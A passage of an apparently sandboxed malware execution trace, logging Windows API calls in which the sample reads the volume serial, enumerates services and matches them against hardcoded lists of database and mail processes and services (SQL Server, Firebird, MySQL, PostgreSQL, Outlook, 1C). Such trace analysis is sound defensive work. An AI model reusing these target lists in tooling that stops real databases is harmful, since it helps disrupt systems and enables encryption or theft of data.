Flags=0x0, Ptr=0x6f6b80, Size=0x80) returned 0x71b478 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x7110a8 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa340, Size=0x8) returned 0x6fa350 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa350, Size=0x10) returned 0x715008 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x715008, Size=0x20) returned 0x6f59f8 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa310, Size=0x8) returned 0x6fa350 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa320, Size=0x8) returned 0x6fa310 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa340, Size=0x8) returned 0x6fa360 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa360, Size=0x10) returned 0x7100b8 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7100b8, Size=0x20) returned 0x6f5a20 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa350, Size=0x10) returned 0x7100b8 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa310, Size=0x10) returned 0x7100e8 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa350, Size=0x8) returned 0x6fa340 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa370, Size=0x8) returned 0x6fa380 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7100b8, Size=0x20) returned 0x6f5a48 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7100e8, Size=0x20) returned 0x6f5a70 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa390, Size=0x8) returned 0x6fa3a0 [0041.540] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710160, Size=0x20) returned 0x6f5ac0 [0041.540] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x72d480, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0041.541] lstrlenW (lpString="C:\\") returned 3 [0041.541] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.541] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x72d480 | out: hHeap=0x6c0000) returned 1 [0041.541] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7130a8, Size=0x82) returned 0x70beb0 [0041.541] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7130c8, Size=0x100) returned 0x7110a8 [0041.541] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70bf40, Size=0x104) returned 0x710918 [0041.541] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b698, Size=0x100) returned 0x7111b0 [0041.541] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x70beb0, Size=0x104) returned 0x70beb0 [0041.541] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7110a8, Size=0x200) returned 0x7150b8 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7130b8 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7150b8 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x710208 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71b610 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7101c0 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x71b588 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7101f0 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x70beb0 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7101d8 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x710918 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x710220 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x710888 | out: hHeap=0x6c0000) returned 1 [0041.542] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x710238 | out: hHeap=0x6c0000) returned 1 [0041.542] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710238, Size=0x20) returned 0x6f5ae8 [0041.542] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5ae8, Size=0x40) returned 0x6f6b80 [0041.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x71d460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0041.745] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6f7c50*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 6 os_tid = 0xa7c Thread: id = 8 os_tid = 0xa88 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7101a8 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7101a8, Size=0x20) returned 0x6f5ae8 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5ae8, Size=0x40) returned 0x6f6bc8 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6bc8, Size=0x80) returned 0x71b478 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x7111b0 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7101a8 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7101a8, Size=0x20) returned 0x6f5ae8 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5ae8, Size=0x40) returned 0x6f6bc8 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f6bc8, Size=0x80) returned 0x71b478 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x71b478, Size=0x100) returned 0x7110a8 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x7101a8 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6fa390 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710178 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa390, Size=0x8) returned 0x6fa3c0 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6f6128 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa3c0, Size=0x10) returned 0x710190 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x18) returned 0x6f6148 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1a) returned 0x6f5ae8 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710190, Size=0x20) returned 0x6f5b10 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1c) returned 0x6f5b38 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x16) returned 0x6f6168 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1a) returned 0x6f5b60 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x710190 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6fa3c0 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6f6bc8 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa3c0, Size=0x8) returned 0x6fa390 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x3c) returned 0x6f6c10 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6fa390, Size=0x10) returned 0x710160 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6f6188 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x18) returned 0x6f61a8 [0041.702] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710160, Size=0x20) returned 0x6f5b88 [0041.702] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x24) returned 0x70c3e0 [0041.702] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0041.703] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7111b0 | out: hHeap=0x6c0000) returned 1 [0041.703] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0041.703] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7110a8 | out: hHeap=0x6c0000) returned 1 [0041.703] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6f5c28 [0041.703] EnumServicesStatusExW (in: hSCManager=0x6f5c28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0041.703] GetLastError () returned 0xea [0041.703] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x11e4) returned 0x72e4c0 [0041.703] EnumServicesStatusExW (in: hSCManager=0x6f5c28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x72e4c0, cbBufSize=0x11e4, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x72e4c0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0041.704] CloseServiceHandle (hSCObject=0x6f5c28) returned 1 [0041.704] lstrlenW (lpString="Appinfo") returned 7 [0041.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.704] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.704] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.704] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.704] lstrlenW (lpString="AudioSrv") returned 8 [0041.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.704] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.704] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.705] lstrlenW (lpString="BFE") returned 3 [0041.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.705] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.705] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.705] lstrlenW (lpString="CryptSvc") returned 8 [0041.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.705] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.705] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.705] lstrlenW (lpString="CscService") returned 10 [0041.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.705] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.705] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.705] lstrlenW (lpString="DcomLaunch") returned 10 [0041.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.705] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.705] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.705] lstrlenW (lpString="Dhcp") returned 4 [0041.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.705] lstrlenW (lpString="Dnscache") returned 8 [0041.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.706] lstrlenW (lpString="DPS") returned 3 [0041.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.706] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.706] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.706] lstrlenW (lpString="eventlog") returned 8 [0041.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.706] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.706] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.706] lstrlenW (lpString="EventSystem") returned 11 [0041.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.706] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.706] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.706] lstrlenW (lpString="gpsvc") returned 5 [0041.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.706] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.706] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.706] lstrlenW (lpString="iphlpsvc") returned 8 [0041.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.706] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.706] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.706] lstrlenW (lpString="LanmanServer") returned 12 [0041.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.706] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.707] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.707] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.707] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.707] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.707] lstrlenW (lpString="lmhosts") returned 7 [0041.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.707] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.707] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.707] lstrlenW (lpString="MMCSS") returned 5 [0041.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.707] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.707] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.707] lstrlenW (lpString="MpsSvc") returned 6 [0041.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.707] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.707] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.707] lstrlenW (lpString="Netman") returned 6 [0041.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.707] lstrlenW (lpString="netprofm") returned 8 [0041.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.708] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.708] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.708] lstrlenW (lpString="NlaSvc") returned 6 [0041.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.708] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.708] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.708] lstrlenW (lpString="nsi") returned 3 [0041.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.708] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.708] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.708] lstrlenW (lpString="PcaSvc") returned 6 [0041.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.708] lstrlenW (lpString="PlugPlay") returned 8 [0041.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.708] lstrlenW (lpString="Power") returned 5 [0041.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.708] lstrlenW (lpString="ProfSvc") returned 7 [0041.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.709] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.709] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.709] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.709] lstrlenW (lpString="RpcSs") returned 5 [0041.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.709] lstrlenW (lpString="SamSs") returned 5 [0041.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.709] lstrlenW (lpString="Schedule") returned 8 [0041.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.709] lstrlenW (lpString="SENS") returned 4 [0041.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.710] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.710] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.710] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.710] lstrlenW (lpString="Spooler") returned 7 [0041.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 